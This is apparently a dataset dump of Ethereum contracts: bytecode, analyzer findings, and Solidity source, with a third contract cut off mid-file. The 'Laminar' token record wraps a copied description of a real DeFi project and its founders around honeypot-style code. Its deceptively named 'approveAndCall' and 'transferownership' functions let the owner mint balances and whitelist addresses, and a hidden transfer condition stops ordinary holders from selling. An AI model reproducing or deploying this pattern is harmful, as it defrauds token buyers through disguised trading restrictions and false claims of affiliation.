200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea264697066735822122029c68c1bc36633839ad9ea94a1c3c507443dca599c82d771ffa3e492a0b2795164736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 2,663 |
0x40cb4f69961b8863a8d092ed8727f73f4ee9e716
|
/**
*Submitted for verification at Etherscan.io on 2021-07-30
*/
/*
What Is Laminar (Laminar)?
Laminar is an open financial platform founded in 2019 that powers margin and synthetic assets trading. The platform is based on Ethereum and uses DeFi building blocks and Flow Protocols to meet the community's needs.
In 2021, the Laminar developer team started to launch Flowchain using Substrate to scale to a high-performance retail chain. As a partner in the Polkadot ecosystem, Flowchain will contribute to this interoperable and scalable blockchain ecosystem. The Substrate-based Laminar Chain connects Polkadot as a parachain in order to strengthen the overall security of Polkadot and the DeFi community.
In the early stages of its launch, Laminar received funding from the Web 3.0 Foundation, an organization that also sponsored Polkadot and Kusama.
Who Are the Founders of Laminar?
Laminar was founded by the team behind the Acala Network and Karura (KAR). It consists of Ruitao Su, Bette Chen, and Bryan Chen.
Ruitao Su is currently co-founder of Acala and CEO of Laminar. He is a former CTO of Centrality, an award-winning software engineer, talented entrepreneur, investor, and advisor to technology companies and startups.
Bette Chen is a co-founder at Acala Network and COO at Laminar Protocol since 2019. She is a visionary product manager and skilled entrepreneur. Chen received academic degrees in Engineering (Software) and Business (MBA). She has impressive experience in management and leadership in the high-tech industry.
Bryan Chen is another co-founder of the Acala Network. He is also the co-founder and CTO of Laminar. Chen is an irreplaceable contributor to the Substrate codebase and a Polkadot Ambassador.
Antonia Chen is Chief Economist at Laminar. Chen holds a Ph.D. in economics and is experienced in tech startups, microeconomics, mathematics research, and token economy design.
Ermal Kaleci holds the position of Senior Software Engineer at the company. Kaleci is a well-known KYC and mobile wallet App developer and an award-winning mobile developer as well.
What Makes Laminar (Laminar) Unique?
Laminar is a decentralized financial protocol that creates an open and reliable trading platform for crypto traders and traditional financial market traders alike. The main goal of the project: to offer modern and competitive business models to financial service providers and strengthen the DeFi ecosystem in general. Here are the main points of development:
Synthetic Asset: Users can trade various financial assets and earn interest on their holdings. The effectiveness lies in the fact that traders block 100% of the value of an open position, and liquidity providers cover the risks.
Margin Trading: There is an option to open short and long positions with leverage. The advantages are instant liquidity and limited risks for traders, and the protocol fixes the potential profit.
Money Market: An integrated option where the user can earn interest in the trading process. The interest rate is floating; it provides a profitability and liquidity guarantee.
It’s worth paying attention to the fact that Laminar offers decentralized margin trading. The platform opens up opportunities for conducting leveraged trading transactions on a decentralized basis and using synthetic digital assets.
The Flow Protocols offer the following features:
Instant Liquidity: Users trade against smart contracts, which means there is instant and endless liquidity. This happens if the collateral ratio doesn’t fall below the specified liquidation threshold.
Asset Efficiency: Traders need to provide collateral in the amount of the value of the positions. The rest of the risks are taken by the liquidity providers who receive the transaction fees. In fact, even margin traders can trade against liquidity pools.
Environment for Trading Experience: Protocols provide transparent pricing and proper counterparty actions that are governed by both the protocol and the community.
Integrated Money Market: Financial assets deposited by traders and liquidity providers generate interest, which increases liquidity.
Laminar Flow Protocols strive to be blockchain-independent. The platform enables both synthetic and margin trading, which helps to combat opaque pricing and price manipulation in financial markets.
Related Pages:
Read about Karura (KAR) and Polkadot (DOT).
CoinMarketCap talks about the intricacies of Karura and Polkadot here.
What is Acala? Take a deep dive into one of the Polkadot parachains with CMC Alexandria.
What is Web 3.0? Learn about it here.
Check the CoinMarketCap blog for product updates, partnerships, and announcements.
How Many Laminar (Laminar) Coins Are There in Circulation?
As of June 2021, Laminar ERC-20 tokens are not in circulation. Relevant information about the business plan of the cryptocurrency (tokenomics) is also not available. The confirmed specifics on the Initial Token Sale (ICO) weren’t published on the official channels of the project, so the exact details (total supply of Laminar tokens and their distribution) are currently unknown.
How Is the Laminar Network Secured?
Laminar supports the Ethereum smart contract implementation, which acts as a value gateway to fully utilize the DeFi Ethereum ecosystem, providing liquidity and trading diversity. On top of that, for maximum protection, the network uses a PoS (proof-of-stake) mechanism, the significant advantages of which include security, reduced risk of centralization, and energy efficiency.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Laminar {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820b9d473059ac20545b5319344f671e3c09fc36766dad460de85cb61cf7c0e0c2764736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,664 |
0x6fbf7d655d528c93f45b9703bf56a523bbdfd927
|
/**
*Submitted for verification at Etherscan.io on 2021-09-12
*/
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
